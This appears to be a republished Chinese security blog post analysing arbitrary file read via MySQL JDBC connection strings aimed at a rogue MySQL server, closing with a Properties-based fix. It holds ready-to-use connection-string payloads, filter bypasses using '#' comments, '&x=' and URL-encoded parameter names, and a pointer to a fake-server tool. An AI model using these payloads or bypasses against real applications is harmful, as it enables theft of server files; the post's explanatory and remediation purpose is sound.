JDBC MySQL任意文件读取分析

news2024/11/19 7:22:56

JDBC MySQL任意文件读取分析

文章首发于知识星球-赛博回忆录。给主管打个广告,嘿嘿。
在渗透测试中,有些发起mysql测试流程(或者说mysql探针)的地方,可能会存在漏洞。在连接测试的时候通过添加allowLoadLocalInfileInPath,allowLoadLocalInfile,allowUrlInLocalInfile与伪造的服务器进行通信,造成任意文件读取。

完整payload:
test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/&maxAllowedPacket=655360

以下是可以利用该漏洞的一些场景
在这里插入图片描述在这里插入图片描述在这里插入图片描述

一、端之间数据交互流程

简述一下客户端(被攻击端)与伪造mysql服务器的通信流程。通过wireshark进行抓包读取。

1.问候MySQL客户端
2.等待查询包(03)
3.回答本地数据文件请求tcp option(01 01 08 0a 58 77 5b a8 e9 1f b7 2d
)。前三个字节是数据包的大小(0b 00 00)。接下来的1个字节是数据包编号(01)。下一个字节是数据包类型(fb),然后是文件名(2f 65 74 63 2f 70 61 73 77 64 /etc/hosts)。

主要是数据包的类型字段fb,要求连接的主机将本地文件进行发送。
这两张图展示的是第三个数据包的各个字段。
在这里插入图片描述在这里插入图片描述

https://dev.mysql.com/doc/refman/8.0/en/load-data-local-security.html

在mysql文档中的说到,服务端可以要求客户端读取有可读权限的任何文件。

java端类的初始化变量

com.mysql.jdbc.NonRegisteringDriver#connect主要进行赋值的工作,根据url的内容解析为properties,并对connection这个基类进行赋值,进行初始化的工作。
在这里插入图片描述

二、连接参数设置

很多文章仅仅提到了两个可利用的参数。allowLoadLocalInfileInPath这个参数在8.0.22版本之后也是可以利用的。

文件读取的参数
allowLoadLocalInfileInPath=/ 设置读的目录为根目录,这样所有的目录文件都可以读取
allowLoadLocalInfile=true
allowUrlInLocalInfile=true 这两个参数类似

设置包大小参数
maxAllowedPacket=655360
在这里插入图片描述

参考:

https://dev.mysql.com/doc/connector-j/8.0/en/connector-j-connp-props-security.html

三、8.0.x和5.1.x版本的一些差异

通过这些差异我们能对后续参数的覆盖以及绕过黑名单的检测。

1、注释符差异

如果对jdbc的连接是对参数进行拼接,可以用注释符进行绕过或者多添加一个参数进行对参数值的覆盖,从而绕过该修复方案。

static String driverName = “com.mysql.cj.jdbc.Drive”;
@Test
public void getConnection1(HttpServletRequest request, HttpServletResponse response) {
try {
// 1、加载驱动
Class.forName(driverName);
// 2、获取connection
String jdbcUrl = request.getParameter(“jdbcUrl”);
Connection conn = DriverManager.getConnection(jdbcUrl + “&serverTimezone=Asia/Shanghai&allowLoadLocalInfile=false&allowUrlInLocalInfile=false”);
System.out.println(conn);
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (SQLException e) {
e.printStackTrace();
}
}
8.0.x
test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360#

8.0.x是可以使用注释符#来注释掉后面的内容。

8版本在解析connectionString的时候,最后一步query会根据正则匹配将#后面的注释部分去掉。
在这里插入图片描述

这样一来可以注释掉之后拼接的内容,覆盖后面想要赋值的变量。
在这里插入图片描述

完整的传入test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360#&serverTimezone=Asia/Shanghai&allowLoadLocalInfile=false&allowUrlInLocalInfile=false进行对allowLoadLocalInfile,allowUrlInLocalInfile参数值的覆盖。

5.1.x
5.1.x 不可以使用注释符#来注释掉后面的内容,但是可以使用&x=来拼接后面的内容,比如下图这样就可以使用拼接来绕过。

test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360&x=
在这里插入图片描述

2、参数名和参数值解析差异

这个方式主要是为了绕过对黑名单的检测,如果在传入payload的时候对这两个值进行校验。

如果黑名单检测的代码是这样写的,很有可能会存在绕过的问题。

public static boolean isValidUrl(String url){
if(url.contains(“allowLoadLocalInfile”)||url.contains(“allowUrlInLocalInfile”)||url.contains(“allowLoadLocalInfileInPath”)){
return false;
}
}

8.0.x

8.0.x是可以使用url编码的方式来对参数名和参数值进行编码。
在这里插入图片描述

jdbc:mysql://127.0.0.1:33060/test?maxAllowedPacket=655360&characterEncoding=utf-8&allowUrlInLocalInfil%65=%74%72%75%65# 。allowUrlInLocalInfile,maxAllowedPacket这些字段都是可以url编码绕过的。

所以从原则上来讲用黑名单来过滤必须要先解码再进行匹配,不然可能会造成黑名单绕过的问题。

5.1.x
仅仅参数值可以被编码。

jdbc:mysql://10.188.141.222:33067/test?maxAllowedPacket=655360&characterEncoding=utf-8&allowUrlInLocalInfile=%74%72%75%65
在properties中可以进行url编码,绕过对true的赋值。
在这里插入图片描述

所以5版本无法绕过对黑名单机制的检测。

四、关于fakeserver脚本的一些问题

推荐使用https://github.com/fnmsd/MySQL_Fake_Server来搭建恶意的mysql服务器。

有些连接的参数发出来是utf8mb4会遇到下面的报错:
在这里插入图片描述

通过抓取wireshark的流量,发现utf8的编码发出包的charset flag是21:
在这里插入图片描述

而utf8mb4发出来的编码集是45
在这里插入图片描述

所以上面报错的信息会显示不支持,是因为字符集没有被定义:

在flags.py添加一行定义即可。
在这里插入图片描述

五、修复方案

原生的场景下可以使用预先定义的Properties将URL中的属性覆盖掉,就可以关闭本地文件读取以及URL读取了。

String driver = “com.mysql.jdbc.Driver”;
String DB_URL = “jdbc:mysql://127.0.0.1:3306/test?user=test&maxAllowedPacket=655360&allowLoadLocalInfile=true”;
Class.forName(driver);
Properties properties = new Properties();
properties.setProperty(“allowLoadLocalInfile”,“false”);
properties.setProperty(“allowUrlInLocalInfile”,“false”);
properties.setProperty(“allowLoadLocalInfileInPath”,“”);
Connection conn = DriverManager.getConnection(DB_URL,properties);

六、参考链接

https://paper.seebug.org/1112/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1035761.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

分类预测 | MATLAB实现WOA-CNN-GRU-Attention数据分类预测

分类预测 | MATLAB实现WOA-CNN-GRU-Attention数据分类预测 目录 分类预测 | MATLAB实现WOA-CNN-GRU-Attention数据分类预测分类效果基本描述模型描述程序设计参考资料 分类效果 基本描述 1.MATLAB实现WOA-CNN-GRU-Attention数据分类预测,运行环境Matlab2021b及以上&…

git学习使用

git使用 1、cmd #查看版本 git version2、初识 Git GUI: Git提供的图形界面工具 Git Bash: Git提供的命令行工具 1.打开Git Bash2.设置自己的用户名和邮箱地址git config --global user.name "xxx"git config --global user.email "123456789163.com"查…

zemaxMIF曲线图

调制传递函数( Modulation Transfer Function,MTF )是用来形容光学系统成像质量的重要指标。 通过对光学系统像空间进行傅里叶变换,可以得到一张分析图表,来描述像面上对比度和空间频率之间的对应关系。 对比度&…

DALL·E 3:大语言模型和文本生图模型的强强联合

1. 概要 就在不久之前,openAI官网发布了DALLE3相关内容,虽然现在还没有开放直接体验DALLE3的途径,但是我们可以先来一览DALLE3的牛逼之处。 相比之前的DALL.E2,DALL.E3对细节方面把握的更好。此外之前的文生图模型对prompt要求比…

Leetcode 2325.解密消息

给你字符串 key 和 message ,分别表示一个加密密钥和一段加密消息。解密 message 的步骤如下: 使用 key 中 26 个英文小写字母第一次出现的顺序作为替换表中的字母 顺序 。将替换表与普通英文字母表对齐,形成对照表。按照对照表 替换 messag…

golang学习笔记(一):基础入门

基础入门 菜鸟教程Go语言环境安装 GoLand开发工具下载 Gin web开发框架 Go 语言流行 ORM 框架 GORM 使用介绍 如何使用Go语言连接分布式MySQL数据库 Go语言依赖搜索网站,类似Maven 添加依赖: 基础知识 1.关键字 go 开启协程执行调用语句/方法。 def…

Spring面试题9:Spring的BeanFactory和FactoryBean的区别和联系

该文章专注于面试,面试只要回答关键点即可,不需要对框架有非常深入的回答,如果你想应付面试,是足够了,抓住关键点 面试官:说一说Spring的BeanFactory和FactoryBean的区别和联系 区别:BeanFactory是一个工厂接口,主要负责管理和创建Bean实例。它是Spring提供的最底层的…

Centos7虚拟机硬盘扩容 + 修改Docker默认存储位置

文章目录 前言一、Centos7虚拟机硬盘扩容1.1 具体步骤二、修改Docker默认存储位置2.1 挂载目录2.2 修改路径 前言 Vmware 虚拟机开机时提示:虚拟机根目录系统内存不足,可能原因是 /var/lib/docker 目录占用的磁盘空间不够了。本文记录虚拟机磁盘扩容过程…

Doris数据库FE——SQL handleQuery

SQL解析在下文中指的是将一条sql语句经过一系列的解析最后生成一个完整的物理执行计划的过程。这个过程包括以下四个步骤:词法分析、语法分析、生成逻辑计划、生成物理计划。Doris SQL解析具体包括了六个步骤:词法分析,语法分析、语义分析&am…

文件系统详解

目录 文件系统(1) 第一节文件系统的基本概念 一、文件系统的任务 二、文件的存储介质及存储方式 三、文件的分类 第二节 文件的逻辑结构和物理结构 一、文件的逻辑结构 二、文件的物理结构 文件系统(2) 第三节 文件目…

Oracle for Windows安装和配置——Oracle for Windows数据库创建及测试

2.2. Oracle for Windows数据库创建及测试 2.2.1. 创建数据库 1)启动数据库创建助手(DBCA) 进入%ORACLE_HOME%\bin\目录并找到“dbca”批处理程序,双击该程序。具体如图2.1.3-1所示。 图2.1.3-1 双击“%ORACLE_HOME%\bin\dbca”…

mac 配置 httpd nginx php-fpm 详细记录 已解决

在日常mac电脑 开发php项目一直是 httpd 方式 运行,由于有 多版本 运行的需求,docker不想用,索性用 php-fpm进行 功能处理。上次配置 是好的,但是感觉马马虎虎,这次 配置底朝天。因为配置服务器,几乎也都是…

9. Java字符串支持正则表达式的方法

Java —— String字符串 1. 正则表达式2. String正则API3. Object类和toString方法4. equals方法5. 包装类及Number 1. 正则表达式 正则表达式(Regular Expression):简称为Regex或RegExp,是一种用于描述字符串模式的工具 作用&…

Jmeter性能测试步骤

Jmeter多用户并发测试 第1步, 在安装目录下的bin文件夹下打开Jmeter,如下图 第2步,新建一个线程组 第3步,新建一个HTTP请求,这里给这个请求重命名为getMsgSum 设置HTTP请求的IP端口,以及路径等 第4步&#…

SoftwareTest3 - 要了人命的Bug

软件测试基础篇 一 . 如何合理的创建一个 Bug二 . Bug 等级2.1 崩溃2.2 严重2.3 一般2.4 次要 三 . Bug 的生命周期四 . 跟开发产生争执应该怎么解决 Hello , 大家好 , 又给大家带来新的专栏喽 ~ 这个专栏是专门为零基础小白从 0 到 1 了解软件测试基础理论设计的 , 虽然还不足…

C++ -- 特殊类设计

目录 设计一个类,不能被拷贝 C98的做法 C11的做法 设计一个类,只能在堆上创建对象 实现方式1 实现方式2 设计一个类,只能在栈上创建对象 实现方式1 方式1的优化 实现方式2 设计一个类,不能被继承 设计模式 什么是设计…

怒刷LeetCode的第9天(Java版)

目录 第一题 题目来源 题目内容 解决方法 方法一:双指针 方法二:递归 方式三:迭代 方法四:优先队列 第二题 题目来源 题目内容 解决方法 方法一:贪心算法 方法二:数学方法 方法三&#xff1…

iOS应用中的内存泄漏问题解决

解决iOS应用中的内存泄漏问题是非常重要的,因为内存泄漏可能导致应用变得缓慢或不稳定。以下是一些解决iOS内存泄漏问题的工具和方法,希望对大家有所帮助。北京木奇移动技术有限公司,专业的软件外包开发公司,欢迎交流合作。 工具&…

HTML5day02综合案例2

案例展示 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>注册信息</title> </head> &l…

MC互联网联机frp实现

我使用的是java版本的MC&#xff0c;联机方式如下。只是一个简单的笔记&#xff0c;所以只说重点。 主机开启局域网 整合包中自带的局域网联网插件&#xff1a;Lan Server Properties 1.10.1 在线模式选择关闭&#xff0c;不然非正版用户无法连接。 frp 具体不说了&#x…